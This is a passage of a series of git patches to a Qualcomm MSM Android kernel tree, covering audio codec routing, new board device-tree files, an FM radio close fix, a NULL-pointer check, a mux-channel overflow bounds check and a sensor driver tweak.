NULL), }; static char const *rx_bit_format_text[] = {"S16_LE", "S24_LE"}; @@ -1839,6 +1841,19 @@ static int msm_audrx_init_wcd(struct snd_soc_pcm_runtime *rtd) snd_soc_dapm_new_controls(dapm, msm8x16_dapm_widgets, ARRAY_SIZE(msm8x16_dapm_widgets)); + snd_soc_dapm_ignore_suspend(dapm, "Headset Mic"); + snd_soc_dapm_ignore_suspend(dapm, "Digital Mic0"); + snd_soc_dapm_ignore_suspend(dapm, "Digital Mic1"); + snd_soc_dapm_ignore_suspend(dapm, "Digital Mic2"); + snd_soc_dapm_ignore_suspend(dapm, "Digital Mic3"); + + snd_soc_dapm_ignore_suspend(dapm, "AMIC2"); + snd_soc_dapm_ignore_suspend(dapm, "DMIC0"); + snd_soc_dapm_ignore_suspend(dapm, "DMIC1"); + snd_soc_dapm_ignore_suspend(dapm, "DMIC2"); + snd_soc_dapm_ignore_suspend(dapm, "DMIC3"); + snd_soc_dapm_ignore_suspend(dapm, "SPK1 OUT"); + snd_soc_dapm_ignore_suspend(dapm, "SPK2 OUT"); snd_soc_dapm_sync(dapm); /* start mbhc */ From 257125cb79ce93c79ff6c58202db1557bafa913e Mon Sep 17 00:00:00 2001 From: Venkatesh Yadav Abbarapu Date: Mon, 25 Jan 2016 17:04:14 +0530 Subject: [PATCH 100/365] ARM: dts: msm: Add a DTS file for WCD9326 512MB DDR MSM8909 MTP Add a DTS file to support 512MB DDR configuration for 8909MTP with WCD9326 external codec. Also add the same for APQ platform as well. Change-Id: I1f5019b82ddcc4d3593df97d9cc2feef9a85f204 Signed-off-by: Venkatesh Yadav Abbarapu --- arch/arm/boot/dts/qcom/Makefile | 5 +- .../apq8009-512mb-mtp-wcd9326-refboard.dts | 57 +++++++++++++++++++ .../dts/qcom/apq8009-mtp-wcd9326-refboard.dts | 57 +++++++++++++++++++ .../msm8909-512mb-mtp-wcd9326-refboard.dts | 57 +++++++++++++++++++ 4 files changed, 175 insertions(+), 1 deletion(-) create mode 100644 arch/arm/boot/dts/qcom/apq8009-512mb-mtp-wcd9326-refboard.dts create mode 100644 arch/arm/boot/dts/qcom/apq8009-mtp-wcd9326-refboard.dts create mode 100644 arch/arm/boot/dts/qcom/msm8909-512mb-mtp-wcd9326-refboard.dts diff --git a/arch/arm/boot/dts/qcom/Makefile b/arch/arm/boot/dts/qcom/Makefile index 5bd30e60e91af..6059f41dec773 100644 --- a/arch/arm/boot/dts/qcom/Makefile +++ b/arch/arm/boot/dts/qcom/Makefile @@ -72,7 +72,10 @@ dtb-$(CONFIG_ARCH_MSM8909) += msm8909-sim.dtb \ apq8009w-cdp.dtb \ apq8009-mtp-wcd9326.dtb \ msm8909-mtp-wcd9326.dtb \ - msm8909-mtp-wcd9326-refboard.dtb + msm8909-mtp-wcd9326-refboard.dtb \ + msm8909-512mb-mtp-wcd9326-refboard.dtb \ + apq8009-mtp-wcd9326-refboard.dtb \ + apq8009-512mb-mtp-wcd9326-refboard.dtb ifeq ($(CONFIG_MACH_CKT_MSM8939),y) dtb-$(CONFIG_ARCH_MSM8916) += msm8939-spirit.dtb diff --git a/arch/arm/boot/dts/qcom/apq8009-512mb-mtp-wcd9326-refboard.dts b/arch/arm/boot/dts/qcom/apq8009-512mb-mtp-wcd9326-refboard.dts new file mode 100644 index 0000000000000..5cf39791c85c7 --- /dev/null +++ b/arch/arm/boot/dts/qcom/apq8009-512mb-mtp-wcd9326-refboard.dts @@ -0,0 +1,57 @@ +/* + * Copyright (c) 2016, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/dts-v1/; + +#include "msm8909-mtp.dtsi" +#include "msm8909-pm8916.dtsi" +#include "msm8909-pm8916-mtp.dtsi" +#include "apq8009-audio-external_codec.dtsi" + +/ { + model = "Qualcomm Technologies, Inc. APQ8009 WCD9326 512MB Reference Board MTP"; + compatible = "qcom,apq8009-mtp", "qcom,apq8909", "qcom,mtp"; + qcom,msm-id = <265 2>; + qcom,board-id= <8 0x108>; +}; + +&qcom_camera1 { + status = "disabled"; +}; + +&soc { + sound-9335 { + qcom,audio-routing = + "AIF4 VI", "MCLK", + "RX_BIAS", "MCLK", + "MADINPUT", "MCLK", + "AMIC2", "MIC BIAS2", + "MIC BIAS2", "Headset Mic", + "DMIC0", "MIC BIAS1", + "MIC BIAS1", "Digital Mic0", + "DMIC1", "MIC BIAS1", + "MIC BIAS1", "Digital Mic1", + "DMIC2", "MIC BIAS3", + "MIC BIAS3", "Digital Mic2", + "DMIC3", "MIC BIAS3", + "MIC BIAS3", "Digital Mic3", + "SpkrLeft IN", "SPK1 OUT", + "SpkrRight IN", "SPK2 OUT"; + }; + + i2c@78b8000 { + wcd9xxx_codec@d { + qcom,cdc-reset-gpio = <&msm_gpio 27 0>; + }; + }; +}; diff --git a/arch/arm/boot/dts/qcom/apq8009-mtp-wcd9326-refboard.dts b/arch/arm/boot/dts/qcom/apq8009-mtp-wcd9326-refboard.dts new file mode 100644 index 0000000000000..038ee2878cbae --- /dev/null +++ b/arch/arm/boot/dts/qcom/apq8009-mtp-wcd9326-refboard.dts @@ -0,0 +1,57 @@ +/* + * Copyright (c) 2016, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/dts-v1/; + +#include "msm8909-mtp.dtsi" +#include "msm8909-pm8916.dtsi" +#include "msm8909-pm8916-mtp.dtsi" +#include "apq8009-audio-external_codec.dtsi" + +/ { + model = "Qualcomm Technologies, Inc. APQ8009 WCD9326 Reference Board MTP"; + compatible = "qcom,apq8009-mtp", "qcom,apq8009", "qcom,mtp"; + qcom,msm-id = <265 2>; + qcom,board-id= <8 0x8>; +}; + +&qcom_camera1 { + status = "disabled"; +}; + +&soc { + sound-9335 { + qcom,audio-routing = + "AIF4 VI", "MCLK", + "RX_BIAS", "MCLK", + "MADINPUT", "MCLK", + "AMIC2", "MIC BIAS2", + "MIC BIAS2", "Headset Mic", + "DMIC0", "MIC BIAS1", + "MIC BIAS1", "Digital Mic0", + "DMIC1", "MIC BIAS1", + "MIC BIAS1", "Digital Mic1", + "DMIC2", "MIC BIAS3", + "MIC BIAS3", "Digital Mic2", + "DMIC3", "MIC BIAS3", + "MIC BIAS3", "Digital Mic3", + "SpkrLeft IN", "SPK1 OUT", + "SpkrRight IN", "SPK2 OUT"; + }; + + i2c@78b8000 { + wcd9xxx_codec@d { + qcom,cdc-reset-gpio = <&msm_gpio 27 0>; + }; + }; +}; diff --git a/arch/arm/boot/dts/qcom/msm8909-512mb-mtp-wcd9326-refboard.dts b/arch/arm/boot/dts/qcom/msm8909-512mb-mtp-wcd9326-refboard.dts new file mode 100644 index 0000000000000..19f77a7bf5417 --- /dev/null +++ b/arch/arm/boot/dts/qcom/msm8909-512mb-mtp-wcd9326-refboard.dts @@ -0,0 +1,57 @@ +/* + * Copyright (c) 2016, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +/dts-v1/; + +#include "msm8909-mtp.dtsi" +#include "msm8909-pm8916.dtsi" +#include "msm8909-pm8916-mtp.dtsi" +#include "apq8009-audio-external_codec.dtsi" + +/ { + model = "Qualcomm Technologies, Inc. MSM8909 WCD9326 512MB Reference Board MTP"; + compatible = "qcom,msm8009-mtp", "qcom,msm8909", "qcom,mtp"; + qcom,msm-id = <245 2>; + qcom,board-id= <8 0x108>; +}; + +&qcom_camera1 { + status = "disabled"; +}; + +&soc { + sound-9335 { + qcom,audio-routing = + "AIF4 VI", "MCLK", + "RX_BIAS", "MCLK", + "MADINPUT", "MCLK", + "AMIC2", "MIC BIAS2", + "MIC BIAS2", "Headset Mic", + "DMIC0", "MIC BIAS1", + "MIC BIAS1", "Digital Mic0", + "DMIC1", "MIC BIAS1", + "MIC BIAS1", "Digital Mic1", + "DMIC2", "MIC BIAS3", + "MIC BIAS3", "Digital Mic2", + "DMIC3", "MIC BIAS3", + "MIC BIAS3", "Digital Mic3", + "SpkrLeft IN", "SPK1 OUT", + "SpkrRight IN", "SPK2 OUT"; + }; + + i2c@78b8000 { + wcd9xxx_codec@d { + qcom,cdc-reset-gpio = <&msm_gpio 27 0>; + }; + }; +}; From 99ab2cd2bb7c88da6ecc0ec619eaf615b6d30f00 Mon Sep 17 00:00:00 2001 From: Mingbo Zhang Date: Fri, 22 Jan 2016 16:37:58 +0800 Subject: [PATCH 101/365] radio-iris: Fix: fm can't be closed completely when killed abnormally. After fm is killed abnormally, 1) we must make sure wakeup event can be received before 10s timeout. 2) disable event should not be sent to userspace of fm. CRs-Fixed: 967734 Change-Id: I96c1f577fce2bd5fcdd0e5b2b6bc2000d61a0bce Signed-off-by: Mingbo Zhang --- drivers/media/radio/radio-iris.c | 79 ++++++++++++++++++++++++++------ 1 file changed, 66 insertions(+), 13 deletions(-) diff --git a/drivers/media/radio/radio-iris.c b/drivers/media/radio/radio-iris.c index 628aef3561daf..b750d4aac6442 100644 --- a/drivers/media/radio/radio-iris.c +++ b/drivers/media/radio/radio-iris.c @@ -73,6 +73,11 @@ static void radio_hci_rx_task(unsigned long arg); static struct video_device *video_get_dev(void); static DEFINE_RWLOCK(hci_task_lock); +typedef int (*radio_hci_request_func)(struct radio_hci_dev *hdev, + int (*req)(struct + radio_hci_dev * hdev, unsigned long param), + unsigned long param, __u32 timeout); + struct iris_device { struct device *dev; struct kfifo data_buf[IRIS_BUF_MAX]; @@ -83,6 +88,7 @@ struct iris_device { struct completion sync_xfr_start; int tune_req; unsigned int mode; + int is_fm_closing; __u16 pi; __u8 pty; @@ -1312,7 +1318,7 @@ static int radio_hci_err(__u32 code) static int __radio_hci_request(struct radio_hci_dev *hdev, int (*req)(struct radio_hci_dev *hdev, unsigned long param), - unsigned long param, __u32 timeout) + unsigned long param, __u32 timeout, int interruptible) { int err = 0; DECLARE_WAITQUEUE(wait, current); @@ -1326,7 +1332,10 @@ static int __radio_hci_request(struct radio_hci_dev *hdev, hdev->req_status = HCI_REQ_PEND; add_wait_queue(&hdev->req_wait_q, &wait); - set_current_state(TASK_INTERRUPTIBLE); + if (interruptible) + set_current_state(TASK_INTERRUPTIBLE); + else + set_current_state(TASK_UNINTERRUPTIBLE); err = req(hdev, param); @@ -1334,7 +1343,7 @@ static int __radio_hci_request(struct radio_hci_dev *hdev, remove_wait_queue(&hdev->req_wait_q, &wait); - if (signal_pending(current)) { + if (interruptible && signal_pending(current)) { mutex_unlock(&iris_fm); return -EINTR; } @@ -1355,18 +1364,38 @@ static int __radio_hci_request(struct radio_hci_dev *hdev, return err; } -static inline int radio_hci_request(struct radio_hci_dev *hdev, +static inline int radio_hci_request_interruptible(struct radio_hci_dev *hdev, int (*req)(struct radio_hci_dev * hdev, unsigned long param), unsigned long param, __u32 timeout) { int ret = 0; - ret = __radio_hci_request(hdev, req, param, timeout); + ret = __radio_hci_request(hdev, req, param, timeout, 1); return ret; } +static inline int radio_hci_request_uninterruptible(struct radio_hci_dev *hdev, + int (*req)(struct + radio_hci_dev * hdev, unsigned long param), + unsigned long param, __u32 timeout) +{ + int ret = 0; + + ret = __radio_hci_request(hdev, req, param, timeout, 0); + + return ret; +} + +static inline int radio_hci_request(struct radio_hci_dev *hdev, + int (*req)(struct + radio_hci_dev * hdev, unsigned long param), + unsigned long param, __u32 timeout) +{ + return radio_hci_request_interruptible(hdev, req, param, timeout); +} + static inline int hci_conf_event_mask(__u8 *arg, struct radio_hci_dev *hdev) { @@ -1737,14 +1766,19 @@ static int hci_set_blend_tbl_req(struct hci_fm_blend_table *arg, return ret; } -static int hci_cmd(unsigned int cmd, struct radio_hci_dev *hdev) +static int hci_cmd_internal(unsigned int cmd, struct radio_hci_dev *hdev, + int interruptible) { int ret = 0; unsigned long arg = 0; + radio_hci_request_func radio_hci_request; if (!hdev) return -ENODEV; + radio_hci_request = interruptible ? radio_hci_request_interruptible : + radio_hci_request_uninterruptible; + switch (cmd) { case HCI_FM_ENABLE_RECV_CMD: ret = radio_hci_request(hdev, hci_fm_enable_recv_req, arg, @@ -1841,6 +1875,17 @@ static int hci_cmd(unsigned int cmd, struct radio_hci_dev *hdev) return ret; } + +static int hci_cmd(unsigned int cmd, struct radio_hci_dev *hdev) +{ + return hci_cmd_internal(cmd, hdev, 1); +} + +static int hci_cmd_uninterruptible(unsigned int cmd, struct radio_hci_dev *hdev) +{ + return hci_cmd_internal(cmd, hdev, 0); +} + static void radio_hci_req_complete(struct radio_hci_dev *hdev, int result) { @@ -1850,7 +1895,7 @@ static void radio_hci_req_complete(struct radio_hci_dev *hdev, int result) } hdev->req_result = result; hdev->req_status = HCI_REQ_DONE; - wake_up_interruptible(&hdev->req_wait_q); + wake_up(&hdev->req_wait_q); } static void radio_hci_status_complete(struct radio_hci_dev *hdev, int result) @@ -1861,7 +1906,7 @@ static void radio_hci_status_complete(struct radio_hci_dev *hdev, int result) } hdev->req_result = result; hdev->req_status = HCI_REQ_STATUS; - wake_up_interruptible(&hdev->req_wait_q); + wake_up(&hdev->req_wait_q); } static void hci_cc_rsp(struct radio_hci_dev *hdev, struct sk_buff *skb) @@ -1895,7 +1940,8 @@ static void hci_cc_fm_disable_rsp(struct radio_hci_dev *hdev, status = *((__u8 *) skb->data); if ((radio->mode == FM_TURNING_OFF) && (status == 0)) { - iris_q_event(radio, IRIS_EVT_RADIO_DISABLED); + if (!radio->is_fm_closing) + iris_q_event(radio, IRIS_EVT_RADIO_DISABLED); radio_hci_req_complete(hdev, status); radio->mode = FM_OFF; } else if (radio->mode == FM_CALIB) { @@ -5141,13 +5187,19 @@ static int iris_fops_release(struct file *file) goto END; if (radio->mode == FM_RECV) { + radio->is_fm_closing = 1; + radio->mode = FM_TURNING_OFF; + retval = hci_cmd_uninterruptible(HCI_FM_DISABLE_RECV_CMD, + radio->fm_hdev); radio->mode = FM_OFF; - retval = hci_cmd(HCI_FM_DISABLE_RECV_CMD, - radio->fm_hdev); + radio->is_fm_closing = 0; } else if (radio->mode == FM_TRANS) { + radio->is_fm_closing = 1; + radio->mode = FM_TURNING_OFF; + retval = hci_cmd_uninterruptible(HCI_FM_DISABLE_TRANS_CMD, + radio->fm_hdev); radio->mode = FM_OFF; - retval = hci_cmd(HCI_FM_DISABLE_TRANS_CMD, - radio->fm_hdev); + radio->is_fm_closing = 0; } else if (radio->mode == FM_CALIB) { radio->mode = FM_OFF; return retval; @@ -5451,6 +5503,7 @@ static int __init iris_probe(struct platform_device *pdev) init_completion(&radio->sync_xfr_start); radio->tune_req = 0; radio->prev_trans_rds = 2; + radio->is_fm_closing = 0; init_waitqueue_head(&radio->event_queue); init_waitqueue_head(&radio->read_queue); From 881cb621148214eae20fe138c5e952fff5c7fe18 Mon Sep 17 00:00:00 2001 From: Kishor PK Date: Fri, 29 Jan 2016 11:13:25 +0530 Subject: [PATCH 102/365] trace: prevent NULL pointer dereference Prevent unintended NULL pointer dereference in trace_event_perf. Change-Id: I35151c460b4350ebd414b67c655684c2019f799f Signed-off-by: Kishor PK Signed-off-by: Srinivasarao P --- kernel/trace/trace_event_perf.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/kernel/trace/trace_event_perf.c b/kernel/trace/trace_event_perf.c index 8354dc81ae640..4de13e1f28e55 100644 --- a/kernel/trace/trace_event_perf.c +++ b/kernel/trace/trace_event_perf.c @@ -222,7 +222,8 @@ int perf_trace_add(struct perf_event *p_event, int flags) void perf_trace_del(struct perf_event *p_event, int flags) { struct ftrace_event_call *tp_event = p_event->tp_event; - hlist_del_rcu(&p_event->hlist_entry); + if (!hlist_unhashed(&p_event->hlist_entry)) + hlist_del_rcu(&p_event->hlist_entry); tp_event->class->reg(tp_event, TRACE_REG_PERF_DEL, p_event); } From eeecb88d608cd23ccea1be13f3187e6bb612da7e Mon Sep 17 00:00:00 2001 From: Skylar Chang Date: Tue, 29 Dec 2015 18:50:34 -0800 Subject: [PATCH 103/365] msm: ipa: fix the mux_channel buffer overflow Add the check on ipa wan-driver to check if receiving more than MAX_NUM_OF_MUX_CHANNEL times different RMNET_IOCTL_ADD_MUX_CHANNEL ioctls from netmgrd. CRs-Fixed: 956393 Change-Id: Ic8890b084a8da69fdcf54541e82f6e4961492ce1 Signed-off-by: Skylar Chang --- drivers/platform/msm/ipa/rmnet_ipa.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/drivers/platform/msm/ipa/rmnet_ipa.c b/drivers/platform/msm/ipa/rmnet_ipa.c index fd09f54cb7313..3f073f242333e 100644 --- a/drivers/platform/msm/ipa/rmnet_ipa.c +++ b/drivers/platform/msm/ipa/rmnet_ipa.c @@ -1222,6 +1222,11 @@ static int ipa_wwan_ioctl(struct net_device *dev, struct ifreq *ifr, int cmd) rmnet_mux_val.mux_id); return rc; } + if (rmnet_index >= MAX_NUM_OF_MUX_CHANNEL) { + IPAWANERR("Exceed mux_channel limit(%d)\n", + rmnet_index); + return -EFAULT; + } IPAWANDBG("ADD_MUX_CHANNEL(%d, name: %s)\n", extend_ioctl_data.u.rmnet_mux_val.mux_id, extend_ioctl_data.u.rmnet_mux_val.vchannel_name); From 80530b96840de3a8770e4007ba18dc6df2270ea2 Mon Sep 17 00:00:00 2001 From: Viraja Kommaraju Date: Thu, 4 Feb 2016 12:11:30 +0530 Subject: [PATCH 104/365] ARM: dts: msm: Modify headset switch type config APQ8009 APQ8009 EDP does not have headset jack and type set normally close leads to false headphone detections. Change switch type to normally open for APQ8009 EDP. Change-Id: Ifa180c3ea608816c0f701dc184bf301bab877bf9 Signed-off-by: Viraja Kommaraju --- arch/arm/boot/dts/qcom/apq8009-audio-external_codec.dtsi | 4 ++-- arch/arm/boot/dts/qcom/msm8909-mtp-wcd9326-refboard.dts | 3 ++- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/arch/arm/boot/dts/qcom/apq8009-audio-external_codec.dtsi b/arch/arm/boot/dts/qcom/apq8009-audio-external_codec.dtsi index bc07c1b03364a..7992d29219aa3 100644 --- a/arch/arm/boot/dts/qcom/apq8009-audio-external_codec.dtsi +++ b/arch/arm/boot/dts/qcom/apq8009-audio-external_codec.dtsi @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, The Linux Foundation. All rights reserved. + * Copyright (c) 2015-2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -29,7 +29,7 @@ qcom,model = "msm8x09-tasha9326-snd-card"; qcom,msm-snd-card-id = <1>; qcom,msm-codec-type = "external"; - qcom,msm-mbhc-hphl-swh = <0>; + qcom,msm-mbhc-hphl-swh = <1>; qcom,msm-mbhc-gnd-swh = <0>; qcom,msm-mclk-freq = <9600000>; qcom,msm-hs-micbias-type = "internal"; diff --git a/arch/arm/boot/dts/qcom/msm8909-mtp-wcd9326-refboard.dts b/arch/arm/boot/dts/qcom/msm8909-mtp-wcd9326-refboard.dts index e95a9e35cba77..56c853feb2888 100644 --- a/arch/arm/boot/dts/qcom/msm8909-mtp-wcd9326-refboard.dts +++ b/arch/arm/boot/dts/qcom/msm8909-mtp-wcd9326-refboard.dts @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, The Linux Foundation. All rights reserved. + * Copyright (c) 2015-2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -31,6 +31,7 @@ &soc { sound-9335 { + qcom,msm-mbhc-hphl-swh = <0>; qcom,audio-routing = "AIF4 VI", "MCLK", "RX_BIAS", "MCLK", From 760d11c22c5c69d400c1c957f92b1cd315a4b255 Mon Sep 17 00:00:00 2001 From: Viraja Kommaraju Date: Thu, 4 Feb 2016 12:30:09 +0530 Subject: [PATCH 105/365] ASoC: wcd9335: Remove insert flag check in HS detection Remove the insert_detect flag check in headset detection. This flag is set in legacy mbhc config from machine driver. Hence removing where latest mbhc driver is used. Change-Id: If36571d90c1c3ac2693ebc263250a4e92aec2f60 Signed-off-by: Viraja Kommaraju --- sound/soc/codecs/wcd9335.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/sound/soc/codecs/wcd9335.c b/sound/soc/codecs/wcd9335.c index 9f83cd54ca7a1..1013d0c7946a4 100644 --- a/sound/soc/codecs/wcd9335.c +++ b/sound/soc/codecs/wcd9335.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2015, The Linux Foundation. All rights reserved. + * Copyright (c) 2015-2016, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -10343,10 +10343,7 @@ int tasha_mbhc_hs_detect(struct snd_soc_codec *codec, { struct tasha_priv *tasha = snd_soc_codec_get_drvdata(codec); - if (mbhc_cfg->insert_detect) - return wcd_mbhc_start(&tasha->mbhc, mbhc_cfg); - else - return 0; + return wcd_mbhc_start(&tasha->mbhc, mbhc_cfg); } EXPORT_SYMBOL(tasha_mbhc_hs_detect); From 802409c057dad59ae91ac8f9e112ade3e36f3fbd Mon Sep 17 00:00:00 2001 From: Viraja Kommaraju Date: Tue, 9 Feb 2016 15:52:18 +0530 Subject: [PATCH 106/365] ASoC: msm: Remove cpu dai from CPE dai link Remove CPU dai from the CPE dai link as it is not needed. Change-Id: I4e8344a3d76a41e2d979445131af7d1077794e2e Signed-off-by: Viraja Kommaraju --- sound/soc/msm/msm8x16.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/sound/soc/msm/msm8x16.c b/sound/soc/msm/msm8x16.c index db35f4d0f9c99..f2d816e92e9f1 100644 --- a/sound/soc/msm/msm8x16.c +++ b/sound/soc/msm/msm8x16.c @@ -1934,7 +1934,7 @@ static struct snd_soc_dai_link msm8x16_9326_dai[] = { { /* FrontEnd DAI Link, CPE Service */ .name = "CPE Listen service", .stream_name = "CPE Listen Audio Service", - .cpu_dai_name = "msm-dai-q6-mi2s.3", + .cpu_dai_name = "CPE_LSM_NOHOST", .platform_name = "msm-cpe-lsm", .trigger = {SND_SOC_DPCM_TRIGGER_POST, SND_SOC_DPCM_TRIGGER_POST}, @@ -1943,7 +1943,6 @@ static struct snd_soc_dai_link msm8x16_9326_dai[] = { .ignore_pmdown_time = 1, .codec_dai_name = "tasha_mad1", .codec_name = "tasha_codec", - .ops = &msm8x16_quat_mi2s_be_ops, }, }; From 5ebc7f1a2e9a11c70755d43d6cba86c0fa2b8350 Mon Sep 17 00:00:00 2001 From: Swetha Date: Wed, 10 Feb 2016 15:10:44 +0530 Subject: [PATCH 107/365] ARM: dts: msm: Disable modem pil loading from mproc code The smd and ipc-router drivers trigger the loading of the modem via calls to subsystem_get. We now disable this functionality for 8916/39 since power on of the modem is handled by the peripheral manager in userspace. Change-Id: I395a15bea18674c958ce7ceb9c7a8c72609b895a CRs-Fixed: 842833 Signed-off-by: Swetha --- arch/arm/boot/dts/qcom/msm8916-ipcrouter.dtsi | 1 + arch/arm/boot/dts/qcom/msm8916.dtsi | 1 + arch/arm/boot/dts/qcom/msm8939-ipcrouter.dtsi | 1 + arch/arm/boot/dts/qcom/msm8939-smem.dtsi | 1 + 4 files changed, 4 insertions(+) diff --git a/arch/arm/boot/dts/qcom/msm8916-ipcrouter.dtsi b/arch/arm/boot/dts/qcom/msm8916-ipcrouter.dtsi index 3b59d159ea8df..c1ce5be2626bb 100644 --- a/arch/arm/boot/dts/qcom/msm8916-ipcrouter.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916-ipcrouter.dtsi @@ -23,6 +23,7 @@ qcom,xprt-linkid = <1>; qcom,xprt-version = <1>; qcom,fragmented-data; + qcom,disable-pil-loading; }; qcom,ipc_router_wcnss_xprt { diff --git a/arch/arm/boot/dts/qcom/msm8916.dtsi b/arch/arm/boot/dts/qcom/msm8916.dtsi index 73c89b4e7e68c..79502ce139638 100644 --- a/arch/arm/boot/dts/qcom/msm8916.dtsi +++ b/arch/arm/boot/dts/qcom/msm8916.dtsi @@ -827,6 +827,7 @@ qcom,smd-irq-bitmask = <0x1000>; interrupts = <0 25 1>; label = "modem"; + qcom,not-loadable; }; qcom,smsm-modem { diff --git a/arch/arm/boot/dts/qcom/msm8939-ipcrouter.dtsi b/arch/arm/boot/dts/qcom/msm8939-ipcrouter.dtsi index 76cbdcc95822d..f88bbdd2be600 100644 --- a/arch/arm/boot/dts/qcom/msm8939-ipcrouter.dtsi +++ b/arch/arm/boot/dts/qcom/msm8939-ipcrouter.dtsi @@ -23,6 +23,7 @@ qcom,xprt-linkid = <1>; qcom,xprt-version = <1>; qcom,fragmented-data; + qcom,disable-pil-loading; }; qcom,ipc_router_wcnss_xprt { diff --git a/arch/arm/boot/dts/qcom/msm8939-smem.dtsi b/arch/arm/boot/dts/qcom/msm8939-smem.dtsi index 4c8028609347d..bbc96d74e266a 100644 --- a/arch/arm/boot/dts/qcom/msm8939-smem.dtsi +++ b/arch/arm/boot/dts/qcom/msm8939-smem.dtsi @@ -27,6 +27,7 @@ qcom,smd-irq-bitmask = <0x1000>; interrupts = <0 25 1>; label = "modem"; + qcom,not-loadable; }; qcom,smsm-modem { From e71e259b7e413d7055c4b612e9c80eb5e7cfc418 Mon Sep 17 00:00:00 2001 From: Pavan Chikkala Date: Thu, 7 Jan 2016 18:44:27 +0530 Subject: [PATCH 108/365] ASoC: wcd: Add key code mapping of buttons Change the key code mapping of buttons as below according to Android L spec. Button0 0-70 ohm - hook key Button1 110-180 ohm - voice assist Button2 210-290 ohm - volume up Button3 360-680 ohm - volume down CRs-Fixed: 957863 Change-Id: Ic94b21ad97e9eb183df42b379fa6040fcd16a657 Signed-off-by: Pavan Chikkala --- sound/soc/msm/msm8939-slimbus.c | 38 ++++++++++++++++++++------------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/sound/soc/msm/msm8939-slimbus.c b/sound/soc/msm/msm8939-slimbus.c index d2a9ee3c507c6..f86a9403456da 100644 --- a/sound/soc/msm/msm8939-slimbus.c +++ b/sound/soc/msm/msm8939-slimbus.c @@ -122,6 +122,14 @@ static struct wcd9xxx_mbhc_config wcd9xxx_mbhc_cfg = { .use_vddio_meas = true, .enable_anc_mic_detect = false, .hw_jack_type = FOUR_POLE_JACK, + .key_code[0] = KEY_MEDIA, + .key_code[1] = KEY_VOICECOMMAND, + .key_code[2] = KEY_VOLUMEUP, + .key_code[3] = KEY_VOLUMEDOWN, + .key_code[4] = 0, + .key_code[5] = 0, + .key_code[6] = 0, + .key_code[7] = 0, }; static void *def_codec_mbhc_cal(void) @@ -174,21 +182,21 @@ static void *def_codec_mbhc_cal(void) btn_high = wcd9xxx_mbhc_cal_btn_det_mp(btn_cfg, MBHC_BTN_DET_V_BTN_HIGH); btn_low[0] = -50; - btn_high[0] = 20; - btn_low[1] = 21; - btn_high[1] = 61; - btn_low[2] = 62; - btn_high[2] = 104; - btn_low[3] = 105; - btn_high[3] = 148; - btn_low[4] = 149; - btn_high[4] = 189; - btn_low[5] = 190; - btn_high[5] = 228; - btn_low[6] = 229; - btn_high[6] = 269; - btn_low[7] = 270; - btn_high[7] = 500; + btn_high[0] = 90; + btn_low[1] = 130; + btn_high[1] = 220; + btn_low[2] = 235; + btn_high[2] = 335; + btn_low[3] = 375; + btn_high[3] = 655; + btn_low[4] = 656; + btn_high[4] = 660; + btn_low[5] = 661; + btn_high[5] = 670; + btn_low[6] = 671; + btn_high[6] = 680; + btn_low[7] = 681; + btn_high[7] = 690; n_ready = wcd9xxx_mbhc_cal_btn_det_mp(btn_cfg, MBHC_BTN_DET_N_READY); n_ready[0] = 80; n_ready[1] = 12; From ff293438f4d48316e1fd21aaa2ba66360fb478f6 Mon Sep 17 00:00:00 2001 From: Shaoqing Liu Date: Mon, 1 Feb 2016 18:23:24 +0800 Subject: [PATCH 109/365] input: sensors: override bma interrupt event Bma2X2 driver register dev-interrupt, this event has some issues for new version. Override this unused input dev. Change-Id: I204e7715d802858f43d5f0b582ee1ce2cea3f496 Signed-off-by: Shaoqing Liu --- drivers/input/misc/bma2x2.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/drivers/input/misc/bma2x2.c b/drivers/input/misc/bma2x2.c index c1111a2eac0ee..99470709f082c 100644 --- a/drivers/input/misc/bma2x2.c +++ b/drivers/input/misc/bma2x2.c @@ -86,6 +86,7 @@ /* wait 10ms for self test done */ #define SELF_TEST_DELAY() usleep_range(10000, 15000) +#ifdef USE_BMA_INTERRUPT #define LOW_G_INTERRUPT REL_Z #define HIGH_G_INTERRUPT REL_HWHEEL #define SLOP_INTERRUPT REL_DIAL @@ -94,6 +95,17 @@ #define ORIENT_INTERRUPT ABS_PRESSURE #define FLAT_INTERRUPT ABS_DISTANCE #define SLOW_NO_MOTION_INTERRUPT REL_Y +#else +/* AndroidM didn't use the dev-interrupt,bypass above defines */ +#define LOW_G_INTERRUPT REL_Z +#define HIGH_G_INTERRUPT REL_Z +#define SLOP_INTERRUPT REL_Z +#define DOUBLE_TAP_INTERRUPT REL_Z +#define 